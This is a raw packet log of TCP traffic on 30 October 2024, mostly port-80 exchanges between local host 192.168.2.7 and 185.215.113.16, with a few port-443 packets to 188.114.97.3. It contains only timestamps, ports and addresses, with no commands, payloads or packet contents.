Oct 30, 2024 04:35:35.250108004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.250128984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.250170946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.290201902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.290220022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.290235043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.290262938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.290292978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.292329073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.292386055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.292393923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.292402029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.292435884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.292460918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.334650040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.334666967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.334681988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.334711075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.334732056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.365863085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.365899086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.365921021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.365931034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.365947962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.365947962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.365964890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.365983009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366012096 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366017103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366034985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366058111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366094112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366101980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366117954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366137028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366148949 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366163969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366170883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366189957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366200924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366211891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366215944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366250038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366292953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366307974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366322041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366347075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366368055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366386890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366393089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366408110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366415024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366447926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366461039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366463900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366501093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366566896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366610050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366642952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366657972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366698027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366704941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366714954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366743088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366743088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366760015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366774082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366827011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366851091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366867065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366913080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366929054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.366960049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366976023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.366997004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367012024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367028952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367036104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367059946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367079973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367110014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367165089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367180109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367183924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367202997 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367228985 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367234945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367275000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367291927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367307901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367336988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367362022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367364883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367387056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367403984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367404938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367424965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367448092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367547035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367579937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367589951 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367595911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367618084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367640018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367703915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367718935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367734909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367743969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367752075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367770910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367799044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367799044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367815018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367830992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.367839098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.367881060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.408015013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.408034086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.408049107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.408066988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.408106089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.409953117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.409966946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.409981012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.410006046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.410031080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.452645063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.452662945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.452678919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.452764034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.452764034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.483764887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483834028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.483840942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483870029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483885050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483886003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.483906984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.483936071 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.483956099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483971119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483992100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.483997107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484024048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484045982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484057903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484074116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484090090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484101057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484103918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484132051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484152079 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484172106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484189034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484206915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484227896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484241962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484253883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484266043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484281063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484287024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484312057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484323025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484338045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484338045 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484380960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484414101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484428883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484451056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484489918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484519958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484551907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484595060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484615088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484637976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484658957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484659910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484685898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484693050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484730959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484764099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484780073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484803915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484818935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484823942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484865904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.484924078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484939098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484956980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.484962940 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485003948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485012054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485027075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485052109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485052109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485088110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485104084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485177994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485222101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485239983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485255003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485277891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485297918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485338926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485354900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485369921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485387087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485393047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485433102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485445976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485460997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485485077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485521078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485528946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485543966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485569954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485594988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485743999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485759974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485774994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485788107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485807896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485822916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485824108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.485846043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.485882998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.503258944 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:35.503376007 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:35.503551006 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:35.503843069 CET	49990	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:35.503880978 CET	443	49990	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:35.510493994 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:35.510539055 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:35.525810003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.525835991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.525850058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.525948048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.527858019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.527873993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.527889013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.527918100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.527973890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.570408106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.570492983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.570514917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.570530891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.570544958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.570691109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601433039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601486921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601572037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601661921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601686001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601687908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601744890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601784945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601803064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601819038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601843119 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601867914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601875067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601891994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601910114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601918936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601946115 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601969004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.601972103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.601988077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602005005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602031946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602052927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602067947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602075100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602085114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602109909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602142096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602153063 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602159023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602191925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602210999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602252007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602267981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602282047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602298021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602307081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602329969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602353096 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602360964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602376938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602376938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602420092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602447033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602463961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602499962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602511883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602545977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602552891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602561951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602591038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602613926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602684021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602699995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602741003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602751970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602756977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602772951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602780104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602788925 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602807045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602816105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602885008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602894068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602909088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602925062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.602938890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.602978945 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603135109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603151083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603173018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603187084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603188038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603229046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603259087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603274107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603288889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603303909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603329897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603369951 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603379965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603395939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603410959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603441000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603477001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603506088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603522062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603534937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603549957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.603569031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.603612900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.606947899 CET	80	49986	185.215.113.16	192.168.2.7
